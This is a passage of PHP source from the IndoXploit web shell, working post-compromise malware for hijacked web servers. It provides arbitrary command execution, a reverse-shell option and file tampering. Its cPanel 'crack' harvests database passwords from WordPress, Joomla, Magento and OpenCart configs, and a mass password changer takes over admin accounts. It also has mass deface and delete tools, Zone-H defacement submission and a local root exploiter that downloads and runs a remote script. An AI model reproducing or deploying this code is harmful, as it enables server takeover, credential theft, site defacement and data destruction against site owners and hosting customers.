1056 $dirinfo['time'] = date("F d Y g:i:s", filemtime($dirinfo['path'])); 1057 $dirinfo['size'] = "-"; 1058 $dirinfo['perms'] = writeable($dirinfo['path'], perms($dirinfo['path'])); 1059 $dirinfo['link'] = ($folder === ".." ? "<a href='?dir=".dirname(path())."'>$folder</a>" : ($folder === "." ? "<a href='?dir=".path()."'>$folder</a>" : "<a href='?dir=".$dirinfo['path']."'>$folder</a>")); 1060 $dirinfo['action']= ($folder === '.' || $folder === '..') ? "<a href='?act=newfile&dir=".path()."'>newfile</a> | <a href='?act=newfolder&dir=".path()."'>newfolder</a>" : "<a href='?act=rename_folder&dir=".$dirinfo['path']."'>rename</a> | <a href='?act=delete_folder&dir=".$dirinfo['path']."'>delete</a>"; 1061 if(function_exists('posix_getpwuid')) { 1062 $dirinfo['owner'] = (object) @posix_getpwuid(fileowner($dirinfo['path'])); 1063 $dirinfo['owner'] = $dirinfo['owner']->name; 1064 } else { 1065 $dirinfo['owner'] = fileowner($dirinfo['path']); 1066 } 1067 if(function_exists('posix_getgrgid')) { 1068 $dirinfo['group'] = (object) @posix_getgrgid(filegroup($dirinfo['path'])); 1069 $dirinfo['group'] = $dirinfo['group']->name; 1070 } else { 1071 $dirinfo['group'] = filegroup($dirinfo['path']); 1072 } 1073 print "<tr>"; 1074 print "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>".$dirinfo['link']."</td>"; 1075 print "<td class='td_home' style='text-align: center;'>".$dirinfo['type']."</td>"; 1076 print "<td class='td_home' style='text-align: center;'>".$dirinfo['size']."</td>"; 1077 print "<td class='td_home' style='text-align: center;'>".$dirinfo['time']."</td>"; 1078 print "<td class='td_home' style='text-align: center;'>".$dirinfo['owner'].DIRECTORY_SEPARATOR.$dirinfo['group']."</td>"; 1079 print "<td class='td_home' style='text-align: center;'>".$dirinfo['perms']."</td>"; 1080 print "<td class='td_home' style='padding-left: 15px;'>".$dirinfo['action']."</td>"; 1081 print "</tr>"; 1082 } 1083 foreach($dir as $files) { 1084 $fileinfo['path'] = path().DIRECTORY_SEPARATOR.$files; 1085 if(!is_file($fileinfo['path'])) continue; 1086 $fileinfo['type'] = filetype($fileinfo['path']); 1087 $fileinfo['time'] = date("F d Y g:i:s", filemtime($fileinfo['path'])); 1088 $fileinfo['size'] = filesize($fileinfo['path'])/1024; 1089 $fileinfo['size'] = round($fileinfo['size'],3); 1090 $fileinfo['size'] = ($fileinfo['size'] > 1024) ? round($fileinfo['size']/1024,2). "MB" : $fileinfo['size']. "KB"; 1091 $fileinfo['perms']= writeable($fileinfo['path'], perms($fileinfo['path'])); 1092 if(function_exists('posix_getpwuid')) { 1093 $fileinfo['owner'] = (object) @posix_getpwuid(fileowner($fileinfo['path'])); 1094 $fileinfo['owner'] = $fileinfo['owner']->name; 1095 } else { 1096 $fileinfo['owner'] = fileowner($fileinfo['path']); 1097 } 1098 if(function_exists('posix_getgrgid')) { 1099 $fileinfo['group'] = (object) @posix_getgrgid(filegroup($fileinfo['path'])); 1100 $fileinfo['group'] = $fileinfo['group']->name; 1101 } else { 1102 $fileinfo['group'] = filegroup($fileinfo['path']); 1103 } 1104 print "<tr>"; 1105 print "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=".path()."&file=".$fileinfo['path']."'>$files</a></td>"; 1106 print "<td class='td_home' style='text-align: center;'>".$fileinfo['type']."</td>"; 1107 print "<td class='td_home' style='text-align: center;'>".$fileinfo['size']."</td>"; 1108 print "<td class='td_home' style='text-align: center;'>".$fileinfo['time']."</td>"; 1109 print "<td class='td_home' style='text-align: center;'>".$fileinfo['owner'].DIRECTORY_SEPARATOR.$fileinfo['group']."</td>"; 1110 print "<td class='td_home' style='text-align: center;'>".$fileinfo['perms']."</td>"; 1111 print "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=".path()."&file=".$fileinfo['path']."'>edit</a> | <a href='?act=rename&dir=".path()."&file=".$fileinfo['path']."'>rename</a> | <a href='?act=delete&dir=".path()."&file=".$fileinfo['path']."'>delete</a> | <a href='?act=download&dir=".path()."&file=".$fileinfo['path']."'>download</a></td>"; 1112 print "</tr>"; 1113 } 1114 print "</table>"; 1115 print "<center>Copyright © ".date("Y")." - <a href='http://indoxploit.or.id/' target='_blank'>".color(1, 2, "IndoXploit")."</a></center>"; 1116 } 1117 function action() { 1118 tools("upload"); 1119 tools("cmd"); 1120 print "<hr style='margin-top: 15px; margin-bottom: 10px;'>"; 1121 print "<center>"; 1122 print "<ul>"; 1123 print "<li>[ <a href='?'>Home</a> ]</li>"; 1124 print "<li>[ <a href='?dir=".path()."&do=fakeroot'>Fake Root</a> ]</li>"; 1125 print "<li>[ <a href='?dir=".path()."&do=cpanel'>cPanel Crack</a> ]</li>"; 1126 print "<li>[ <a href='?dir=".path()."&do=mpc'>Mass Password Change</a> ]</li>"; 1127 print "<li>[ <a href='?dir=".path()."&do=mass'>Mass Deface/Delete</a> ]</li>"; 1128 print "<li>[ <a href='?dir=".path()."&do=lre'>Local Root Exploiter</a> ]</li>"; 1129 print "<li>[ <a href='?dir=".path()."&do=zoneh'>Zone-H</a> ]</li>"; 1130 print "</ul>"; 1131 print "</center>"; 1132 print "<hr style='margin-top: 15px; margin-bottom: 10px;'>"; 1133 if(isset($_GET['do'])) { 1134 if($_GET['do'] === "cmd") { 1135 if(isset($_POST['cmd'])) { 1136 if(preg_match("/^rf (.*)$/", $_POST['cmd'], $match)) { 1137 tools("readfile", $match[1]); 1138 } 1139 elseif(preg_match("/^spawn (.*)$/", $_POST['cmd'], $match)) { 1140 tools("spawn", $match[1]); 1141 } 1142 elseif(preg_match("/^symlink$/", $_POST['cmd'], $match)) { 1143 tools("symlink"); 1144 } 1145 elseif(preg_match("/^rvr (.*)$/", $_POST['cmd'], $match)) { 1146 tools("network", $match[1]); 1147 } 1148 elseif(preg_match("/^krdp$/", $_POST['cmd'])) { 1149 tools("krdp"); 1150 } 1151 elseif(preg_match("/^jumping$/", $_POST['cmd'])) { 1152 tools("jumping"); 1153 } 1154 elseif(preg_match("/^idxconfig$/", $_POST['cmd'])) { 1155 tools("idxconfig"); 1156 } 1157 elseif(preg_match("/^logout$/", $_POST['cmd'])) { 1158 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); 1159 print "<script>window.location='?';</script>"; 1160 } 1161 elseif(preg_match("/^killme$/", $_POST['cmd'])) { 1162 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); 1163 @unlink(__FILE__); 1164 print "<script>window.location='?';</script>"; 1165 } 1166 else { 1167 print "<pre>".exe($_POST['cmd'])."</pre>"; 1168 } 1169 } 1170 else { 1171 files_and_folder(); 1172 } 1173 } 1174 elseif($_GET['do'] === "zoneh") { 1175 if(isset($_POST['submit']) AND $_GET['do'] === "zoneh") { 1176 $nick = $_POST['nick']; 1177 $domain = explode("\r\n", $_POST['url']); 1178 print "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>"; 1179 print "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>"; 1180 1181 foreach($domain as $no => $url) { 1182 $no = ($no+1)."."; 1183 $post = curl("http://www.zone-h.org/notify/single", TRUE, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send"); 1184 if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $post)) { 1185 print "$no $url -> ".color(1, 2, "OK")."<br>"; 1186 } else { 1187 print "$no $url -> ".color(1, 1, "ERROR")."<br>"; 1188 } 1189 } 1190 } 1191 else { 1192 print "<center><form method='post' action='?do=zoneh&dir=".path()."'> 1193 Defacer: <br> 1194 <input type='text' name='nick' size='50' value='IndoXploit'><br><br> 1195 Domains: <br> 1196 <textarea style='width: 450px; height: 150px;' name='url' placeholder='http://google.com/'></textarea><br> 1197 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px;' type='submit' name='submit' value='Submit'> 1198 </form></center>"; 1199 } 1200 } 1201 elseif($_GET['do'] == 'cpanel') { 1202 if($_POST['crack']) { 1203 $usercp = explode("\r\n", $_POST['user_cp']); 1204 $passcp = explode("\r\n", $_POST['pass_cp']); 1205 $i = 0; 1206 foreach($usercp as $ucp) { 1207 foreach($passcp as $pcp) { 1208 $connect = mysql_connect('localhost', $ucp, $pcp); 1209 if($connect) { 1210 if($_SESSION[$ucp] && $_SESSION[$pcp]) { 1211 } else { 1212 $_SESSION[$ucp] = "1"; 1213 $_SESSION[$pcp] = "1"; 1214 if($ucp === '' || $pcp === '') { 1215 // 1216 } else { 1217 $i++; 1218 print "username (".color(1, 2, $ucp).") password (".color(1, 2, $pcp).") domain ("; 1219 if(!function_exists('posix_getpwuid')) print color(1, 1, "Function is Disable by System!"); 1220 if(!getdomainname()) print color(1, 1, "Can't get domain name"); 1221 foreach(getdomainname() as $domain) { 1222 $userdomain = (object) @posix_getpwuid(@fileowner("/etc/valiases/$domain")); 1223 $userdomain = $userdomain->name; 1224 if($userdomain === $user) { 1225 print "<a href='http://$domain/' target='_blank'>".color(1, 2, $domain)."</a><br>"; 1226 break; 1227 } 1228 } 1229 print (empty($domain)) ? color(1, 1, "Can't get domain name.") : color(1, 2, $domain); 1230 print ")<br>"; 1231 } 1232 } 1233 mysql_close($connect); 1234 } 1235 } 1236 } 1237 print ($i === 0) ? "" : "<p>".color(1, 3, "Sukses nyolong $i Cpanel by IndoXploit")."</p>"; 1238 } else { 1239 print "<center> 1240 <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br> 1241 <form method='post'> 1242 USER: <br> 1243 <textarea style='width: 450px; height: 150px;' name='user_cp'>"; 1244 print implode("\n", getuser()); 1245 print "</textarea><br> 1246 PASS: <br> 1247 <span>Grab Password from Link Config:</span><br> 1248 <input style='width: 425px; background: transparent; border: 1px solid #ffffff; color: #ffffff;' type='text' name='linkpass' placeholder='http://web.com/idx_config/'> 1249 <input style='background: transparent; border: 1px solid #ffffff; color: #ffffff;' type='submit' name='submitlink' value='>>'> 1250 <br> 1251 <textarea style='width: 450px; height: 200px;' name='pass_cp'>"; 1252 if(isset($_POST['submitlink'])) { 1253 $getpass = $_POST['linkpass']; 1254 $get = curl($_POST['linkpass']); 1255 preg_match_all('/<a href="(.*?).txt">/', $get, $link); 1256 foreach($link[1] as $link_config) { 1257 $scandir[] = "$link_config.txt"; 1258 } 1259 } 1260 else { 1261 $getpass = path(); 1262 $scandir = scandir($getpass); 1263 } 1264 $password = ""; 1265 foreach($scandir as $files) { 1266 $file = "$getpass/$files"; 1267 $config = file_get_contents($file); 1268 if(preg_match("/WordPress/", $config)) { 1269 $password .= getValue($config, "DB_PASSWORD', '", "'")."\n"; 1270 } 1271 elseif(preg_match("/JConfig|joomla/", $config)) { 1272 $password .= getValue($config, "password = '", "'")."\n"; 1273 } 1274 elseif(preg_match("/Magento|Mage_Core/", $config)) { 1275 $password .= getValue($config, "<password><![CDATA[", "]]></password>")."\n"; 1276 } 1277 elseif(preg_match("/panggil fungsi validasi xss dan injection/", $config)) { 1278 $password .= getValue($config, 'password = "', '"')."\n"; 1279 } 1280 elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) { 1281 $password .= getValue($config, "'DB_PASSWORD', '", "'")."\n"; 1282 } 1283 elseif(preg_match("/^[client]$/", $config)) { 1284 preg_match("/password=(.*?)/", $config, $pass); 1285 if(preg_match('/"/', $pass[1])) { 1286 $pass[1] = str_replace('"', "", $pass[1]); 1287 $password .= $pass[1]."\n"; 1288 } 1289 else { 1290 $password .= $pass[1]."\n"; 1291 } 1292 } 1293 elseif(preg_match("/cc_encryption_hash/", $config)) { 1294 $password .= getValue($config, "db_password = '", "'")."\n"; 1295 } 1296 } 1297 print $password; 1298 print "</textarea><br> 1299 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px;' type='submit' name='crack' value='Crack'> 1300 </form></center>"; 1301 } 1302 } 1303 elseif($_GET['do'] == 'mpc') { 1304 if($_POST['hajar']) { 1305 if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) { 1306 print "username atau password harus lebih dari 6 karakter"; 1307 } 1308 else { 1309 $user_baru = $_POST['user_baru']; 1310 $pass_baru = md5($_POST['pass_baru']); 1311 $conf = $_POST['config_dir']; 1312 if(preg_match("/^http:\/\//", $conf) OR preg_match("/^https:\/\//", $conf)) { 1313 $get = curl($conf); 1314 preg_match_all('/<a href="(.*?).txt">/', $get, $link); 1315 foreach($link[1] as $link_config) { 1316 $scan_conf[] = "$link_config.txt"; 1317 } 1318 } 1319 else { 1320 $scan_conf = scandir($conf); 1321 } 1322 foreach($scan_conf as $file_conf) { 1323 $config = file_get_contents("$conf/$file_conf"); 1324 if(preg_match("/JConfig|joomla/",$config)) { 1325 $dbhost = getValue($config,"host = '","'"); 1326 $dbuser = getValue($config,"user = '","'"); 1327 $dbpass = getValue($config,"password = '","'"); 1328 $dbname = getValue($config,"db = '","'"); 1329 $dbprefix = getValue($config,"dbprefix = '","'"); 1330 $prefix = $dbprefix."users"; 1331 $conn = mysql_connect($dbhost,$dbuser,$dbpass); 1332 $db = mysql_select_db($dbname); 1333 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); 1334 $result = mysql_fetch_array($q); 1335 $id = $result['id']; 1336 $site = getValue($config,"sitename = '","'"); 1337 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'"); 1338 print "Config => ".$file_conf."<br>"; 1339 print "CMS => Joomla<br>"; 1340 if($site == '') { 1341 print "Sitename => ".color(1, 1, "Can't get domain name")."<br>"; 1342 } 1343 else { 1344 print "Sitename => $site<br>"; 1345 } 1346 if(!$update OR !$conn OR !$db) { 1347 print "Status => ".color(1, 1, mysql_error())."<br><br>"; 1348 } 1349 else { 1350 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>"; 1351 } 1352 mysql_close($conn); 1353 } elseif(preg_match("/WordPress/",$config)) { 1354 $dbhost = getValue($config,"DB_HOST', '","'"); 1355 $dbuser = getValue($config,"DB_USER', '","'"); 1356 $dbpass = getValue($config,"DB_PASSWORD', '","'"); 1357 $dbname = getValue($config,"DB_NAME', '","'"); 1358 $dbprefix = getValue($config,"table_prefix = '","'"); 1359 $prefix = $dbprefix."users"; 1360 $option = $dbprefix."options"; 1361 $conn = mysql_connect($dbhost,$dbuser,$dbpass); 1362 $db = mysql_select_db($dbname); 1363 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); 1364 $result = mysql_fetch_array($q); 1365 $id = $result[ID]; 1366 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC"); 1367 $result2 = mysql_fetch_array($q2); 1368 $target = $result2[option_value]; 1369 if($target == '') { 1370 $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>"; 1371 } 1372 else { 1373 $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>"; 1374 } 1375 $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'"); 1376 print "Config => ".$file_conf."<br>"; 1377 print "CMS => Wordpress<br>"; 1378 print $url_target; 1379 if(!$update OR !$conn OR !$db) { 1380 print "Status => ".color(1, 1, mysql_error())."<br><br>"; 1381 } 1382 else { 1383 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>"; 1384 } 1385 mysql_close($conn); 1386 } 1387 elseif(preg_match("/Magento|Mage_Core/",$config)) { 1388 $dbhost = getValue($config,"<host><![CDATA[","]]></host>"); 1389 $dbuser = getValue($config,"<username><![CDATA[","]]></username>"); 1390 $dbpass = getValue($config,"<password><![CDATA[","]]></password>"); 1391 $dbname = getValue($config,"<dbname><![CDATA[","]]></dbname>"); 1392 $dbprefix = getValue($config,"<table_prefix><![CDATA[","]]></table_prefix>"); 1393 $prefix = $dbprefix."admin_user"; 1394 $option = $dbprefix."core_config_data"; 1395 $conn = mysql_connect($dbhost,$dbuser,$dbpass); 1396 $db = mysql_select_db($dbname); 1397 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); 1398 $result = mysql_fetch_array($q); 1399 $id = $result[user_id]; 1400 $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'"); 1401 $result2 = mysql_fetch_array($q2); 1402 $target = $result2[value]; 1403 if($target == '') { 1404 $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>"; 1405 } 1406 else { 1407 $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>"; 1408 } 1409 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); 1410 print "Config => ".$file_conf."<br>"; 1411 print "CMS => Magento<br>"; 1412 print $url_target; 1413 if(!$update OR !$conn OR !$db) { 1414 print "Status => ".color(1, 1, mysql_error())."<br><br>"; 1415 } 1416 else { 1417 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>"; 1418 } 1419 mysql_close($conn); 1420 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) { 1421 $dbhost = getValue($config,"'DB_HOSTNAME', '","'"); 1422 $dbuser = getValue($config,"'DB_USERNAME', '","'"); 1423 $dbpass = getValue($config,"'DB_PASSWORD', '","'"); 1424 $dbname = getValue($config,"'DB_DATABASE', '","'"); 1425 $dbprefix = getValue($config,"'DB_PREFIX', '","'"); 1426 $prefix = $dbprefix."user"; 1427 $conn = mysql_connect($dbhost,$dbuser,$dbpass); 1428 $db = mysql_select_db($dbname); 1429 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); 1430 $result = mysql_fetch_array($q); 1431 $id = $result[user_id]; 1432 $target = getValue($config,"HTTP_SERVER', '","'"); 1433 if($target == '') { 1434 $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>"; 1435 } 1436 else { 1437 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>"; 1438 } 1439 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); 1440 print "Config => ".$file_conf."<br>"; 1441 print "CMS => OpenCart<br>"; 1442 print $url_target; 1443 if(!$update OR !$conn OR !$db) { 1444 print "Status => ".color(1, 1, mysql_error())."<br><br>"; 1445 } 1446 else { 1447 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>"; 1448 } 1449 mysql_close($conn); 1450 } 1451 elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) { 1452 $dbhost = getValue($config,'server = "','"'); 1453 $dbuser = getValue($config,'username = "','"'); 1454 $dbpass = getValue($config,'password = "','"'); 1455 $dbname = getValue($config,'database = "','"'); 1456 $prefix = "users"; 1457 $option = "identitas"; 1458 $conn = mysql_connect($dbhost,$dbuser,$dbpass); 1459 $db = mysql_select_db($dbname); 1460 $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC"); 1461 $result = mysql_fetch_array($q); 1462 $target = $result[alamat_website]; 1463 if($target == '') { 1464 $target2 = $result[url]; 1465 $url_target = "Login => ".color(1, 1, "Cant't get domain name")."<br>"; 1466 if($target2 == '') { 1467 $url_target2 = "Login => ".color(1, 1, "Cant't get domain name")."<br>"; 1468 } 1469 else { 1470 $cek_login3 = file_get_contents("$target2/adminweb/"); 1471 $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/"); 1472 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) { 1473 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>"; 1474 } 1475 elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) { 1476 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>"; 1477 } 1478 else { 1479 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>"; 1480 } 1481 } 1482 } else { 1483 $cek_login = file_get_contents("$target/adminweb/"); 1484 $cek_login2 = file_get_contents("$target/lokomedia/adminweb/"); 1485 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) { 1486 $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>"; 1487 } 1488 elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) { 1489 $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>"; 1490 } 1491 else { 1492 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>"; 1493 } 1494 } 1495 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'"); 1496 print "Config => ".$file_conf."<br>"; 1497 print "CMS => Lokomedia<br>"; 1498 if(preg_match("/Can't get domain name/", $url_target)) { 1499 print $url_target2; 1500 } 1501 else { 1502 print $url_target; 1503 } 1504 if(!$update OR !$conn OR !$db) { 1505 print "Status => ".color(1, 1, mysql_error())."<br><br>"; 1506 } 1507 else { 1508 print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."<br><br>"; 1509 } 1510 mysql_close($conn); 1511 } 1512 } 1513 } 1514 } 1515 else { 1516 print "<center> 1517 <h1>Mass Password Change</h1> 1518 <form method='post'> 1519 <input type='radio' name='config_type' value='dir' checked>DIR Config<input type='radio' name='config_type' value='link'>LINK Config<br> 1520 <input type='text' size='50' name='config_dir' value='".path()."'><br><br> 1521 Set User & Pass: <br> 1522 <input type='text' name='user_baru' value='indoxploit' placeholder='user_baru'><br> 1523 <input type='text' name='pass_baru' value='indoxploit' placeholder='pass_baru'><br> 1524 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 215px; margin: 5px auto;' type='submit' name='hajar' value='Hajar!'> 1525 </form></center>"; 1526 } 1527 } 1528 elseif($_GET['do'] === "mass") { 1529 if($_POST['start']) { 1530 if($_POST['mass_type'] === 'singledir') { 1531 print "<div style='margin: 5px auto; padding: 5px'>"; 1532 massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file']); 1533 print "</div>"; 1534 } 1535 elseif($_POST['mass_type'] === 'alldir') { 1536 print "<div style='margin: 5px auto; padding: 5px'>"; 1537 massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file'], "-alldir"); 1538 print "</div>"; 1539 } 1540 elseif($_POST['mass_type'] === "delete") { 1541 print "<div style='margin: 5px auto; padding: 5px'>"; 1542 massdelete($_POST['d_dir'], $_POST['d_file']); 1543 print "</div>"; 1544 } 1545 } 1546 else { 1547 print "<center><form method='post'> 1548 <font style='text-decoration: underline;'>Tipe Sabun:</font><br> 1549 <input type='radio' name='mass_type' value='singledir' checked>Mass Deface Single Directory<input type='radio' name='mass_type' value='alldir'>Mass Deface All Directory<input type='radio' name='mass_type' value='delete'>Mass Delete File<br> 1550 <span>( kosongkan 'Index File' jika memilih Mass Delete File )</span><br><br> 1551 <font style='text-decoration: underline;'>Folder:</font><br> 1552 <input type='text' name='d_dir' value='".path()."' style='width: 450px;' height='10'><br><br> 1553 <font style='text-decoration: underline;'>Filename:</font><br> 1554 <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br><br> 1555 <font style='text-decoration: underline;'>Index File:</font><br> 1556 <textarea name='script' style='width: 450px; height: 200px;'>Hacked by IndoXploit</textarea><br> 1557 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px; margin: 5px auto;' type='submit' name='start' value='Mass'> 1558 </form></center>"; 1559 } 1560 } 1561 elseif($_GET['do'] == 'fakeroot') { 1562 ob_start(); 1563 $site = explode("\r\n", $_POST['url']); 1564 $user = usergroup()->name; 1565 $file = $_POST['file']; 1566 if(!preg_match("#/home/$user/public_html#", $_SERVER['DOCUMENT_ROOT'])) die(color(1, 1, "I think this server not using shared host :(")); 1567 1568 1569 if($_POST['reverse']) { 1570 if(!is_writable($_SERVER['DOCUMENT_ROOT'])) die(color(1, 1, "Directory '".$_SERVER['DOCUMENT_ROOT']."' is not writeable.")); 1571 if(!is_writable(dirname($_SERVER['DOCUMENT_ROOT']))) die(color(1, 1, "Directory '".dirname($_SERVER['DOCUMENT_ROOT'])."' is not writeable.")); 1572 save($_SERVER['DOCUMENT_ROOT']."/".$file, "w", $_POST['script']); 1573 save(dirname($_SERVER['DOCUMENT_ROOT'])."/".$file, "w", $_POST['script']); 1574 foreach($site as $url) { 1575 $cek = curl("$url/~$user/$file"); 1576 if(preg_match("/hacked/i", $cek)) { 1577 print "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>"; 1578 } 1579 } 1580 } else { 1581 print "<center><form method='post'> 1582 Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br> 1583 User: <br><input type='text' value='$user' size='50' height='10' readonly><br> 1584 Domain: <br> 1585 <textarea style='width: 450px; height: 250px;' name='url'>"; 1586 print implode("\n", reverse()); 1587 print "</textarea><br> 1588 <font style='text-decoration: underline;'>Index File:</font><br> 1589 <textarea name='script' style='width: 450px; height: 200px;'>Hacked by IndoXploit</textarea><br> 1590 <input style='background: transparent; color: #ffffff; border: 1px solid #ffffff; width: 460px; margin: 5px auto;' type='submit' name='reverse' value='Scan Fake Root!'> 1591 </form><br> 1592 NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>"; 1593 } 1594 } 1595 elseif($_GET['do'] === 'lre') { 1596 if(file_exists("makman.php")) { 1597 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/makman.php' frameborder='0' scrolling='yes'></iframe>"; 1598 } 1599 else { 1600 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'Makman'.")); 1601 if(getfile("LRE")) { 1602 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/makman.php' frameborder='0' scrolling='yes'></iframe>"; 1603 } 1604 else { 1605 print color(1, 1, "Error while downloading file makman."); 1606 @unlink("makman.php"); 1607 } 1608 } 1609 } 1610 } 1611 elseif(isset($_GET['act'])) { 1612 if($_GET['act'] === 'newfile') { 1613 if($_POST['save']) { 1614 $filename = htmlspecialchars($_POST['filename']); 1615 $fopen = fopen($filename, "a+"); 1616 if($fopen) { 1617 $act = "<script>window.location='?act=edit&dir=".path()."&file=".$_POST['filename']."';</script>"; 1618 } 1619 else { 1620 $act = color(1, 1, "Permission Denied!"); 1621 } 1622 } 1623 print $act; 1624 print "<form method='post'> 1625 Filename: <input type='text' name='filename' value='".path()."/newfile.php' style='width: 450px;' height='10'> 1626 <input type='submit' class='input' name='save' value='SUBMIT'> 1627 </form>"; 1628 } 1629 elseif($_GET['act'] === 'newfolder') { 1630 if($_POST['save']) { 1631 $foldername = path().'/'.htmlspecialchars($_POST['foldername']); 1632 if(!@mkdir($foldername)) { 1633 $act = color(1, 1, "Permission Denied!"); 1634 } 1635 else { 1636 $act = "<script>window.location='?dir=".path()."';</script>"; 1637 } 1638 } 1639 print $act; 1640 print "<form method='post'> 1641 Folder Name: <input type='text' 